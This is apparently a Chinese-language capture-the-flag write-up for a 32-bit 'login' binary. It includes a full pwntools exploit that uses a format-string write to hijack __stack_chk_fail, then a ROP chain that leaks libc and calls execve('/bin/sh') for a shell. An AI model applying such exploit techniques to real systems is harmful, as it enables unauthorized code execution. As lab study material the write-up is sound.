exp produce
sprintf修改stack_chk_fail
padding = p32(stack_chk_fail_addr)
# 这里需要不断调整
padding = padding.ljust(0x50, 'c')
padding += gadget_arg(puts_plt_addr, puts_got_addr) # puts(puts_addr)
# read_buff(shell_rop, 0x01010101, 0x01010101)
# 这里要注意, 字符串有一定的限制 而且要注意call read_buff 时的结尾符要设置合理,这里是0x01
padding += gadget_args(read_buff_addr, [bss_wr_addr, 0x01010101, 0x01010101], sub_pop4_ret_addr)
# 恢复栈, 这里具体要填充多少个'h'是通过调试看
# 然后再通过leave 使得 esp=ebp-4
padding += 12*'h' + p32(bss_wr_addr-0x04) + p32(leave_ret_addr)
padding += 'A' * (0xeb - len(padding))
# hh: unsigned char 这里要覆盖chk_fail的最后一个字节
padding += '%10$hhn-----'
构造的username如下
stack_ch_fail | padding 'c' | rop | padding 'A' | format_str | end str | |
---|---|---|---|---|---|---|
username溢出到格式化 '%s%s' 后面,从而改写
stackchfail
的最后一个字节
然后call stack的时候变成了去执行rop
rop依旧是先泄露,后获取shell。
不过这里要注意的是因为只能输入一次username(读两次的话比较难利用),但是在输入username时没有泄露地址,所以还有进行第二次rop。
padding += 12*'h' + p32(bss_wr_addr-0x04) + p32(leave_ret_addr)
就是为第二次rop做准备,这里是把第二次rop放到了bss处,然后通过leave,将esp转变到bss处,之后执行第二次rop
完整exp
# coding:utf-8
from pwn import *
elf = ELF('./login')
fp = open('exp', 'wb')
#context.log_level = 'debug'
puts_got_addr = 0x804A01C
puts_plt_addr = 0x80484c0
read_plt = 0x8048480
stack_chk_fail_addr = 0x804A014
pop_ret_addr = 0x8048465 # pop ebx; ret
add_esp_ret = 0x8048462 # add esp, 0Ch; ret
pop_ebp_ret_addr = 0x804871F # pop ebp; ret
sub_pop4_ret_addr = 0x08048915 # sub esp, 0Ch; pop ebx; pop esi; pop edx; pop ebp; ret
pop3_ret_addr = 0x8048919 # pop 3 reg; ret
leave_ret_addr = 0x80486CF # leave; ret
ret_addr = 0x8048466 # ret
bss_wr_addr = 0x804Ae20 # 需要可写
read_buff_addr = 0x804862B # 利用程序已有的去读取比较方便
call_puts_addr = 0x8048761 # 利用已有的call
# info of lic2.19
puts_offset = 0x064DA0
execv_offset = 0xB4EA0
# call function(arg); return to pop ret
def gadget_arg(func_addr, arg):
payload = p32(func_addr)
payload += p32(pop_ret_addr)
payload += p32(arg)
return payload
# call function(args[0], args[1], args[2]); return to func_ret
def gadget_args(func_addr, args, func_ret):
payload = p32(func_addr)
payload += p32(func_ret)
for arg in args:
payload += p32(arg)
return payload
def pwn():
padding = p32(stack_chk_fail_addr)
# 这里需要不断调整
padding = padding.ljust(0x50, 'c')
padding += gadget_arg(puts_plt_addr, puts_got_addr) # puts(puts_addr)
# read_buff(shell_rop, 0x01010101, 0x01010101)
# 这里要注意, 字符串有一定的限制 而且要注意call read_buff 时的结尾符要设置合理,这里是0x01
padding += gadget_args(read_buff_addr, [bss_wr_addr, 0x01010101, 0x01010101], sub_pop4_ret_addr)
# 恢复栈, 这里具体要填充多少个'h'是通过调试看
# 然后再通过leave 使得 esp=ebp-4
padding += 12*'h' + p32(bss_wr_addr-0x04) + p32(leave_ret_addr)
padding += 'A' * (0xeb - len(padding))
# hh: unsigned char 这里要覆盖chk_fail的最后一个字节
padding += '%10$hhn-----'
#padding += '_%10$p' 测试参数的位置
# produce username and password
username = padding
password = 'ED'
# 由于上面rop的是 read_buff(shell_rop, 0x01010101, 0x01010101)字符串以0x01结尾
pad_shell = '/bin/sh\x01'
print 'username: ', username, hex(len(username))
p = process('./login')
p.recvuntil('username:')
p.sendline(username)
# password 随意
p.recvuntil('password:')
p.sendline(password)
p.recvuntil('AAA\n')
#print p.recvall()
# read address of puts
raw_input('leak puts?')
data = p.recvuntil('\n')[:-1]
print data
puts_addr = u32(data[:4])
print 'address of puts:', hex(puts_addr)
libc_addr = puts_addr - puts_offset
print 'address of libc:', hex(libc_addr)
execve_addr = libc_addr + execv_offset
print 'address of execve:', hex(execve_addr)
# write shell to bss
shell_rop = p32(execve_addr)
shell_rop += p32(pop_ret_addr)
shell_rop += p32(bss_wr_addr+0x40)
shell_rop += p32(0)
shell_rop += p32(0)
shell_rop = shell_rop.ljust(0x40, 'S')
pad_shell = shell_rop + pad_shell
p.sendline(pad_shell)
p.interactive()
pwn()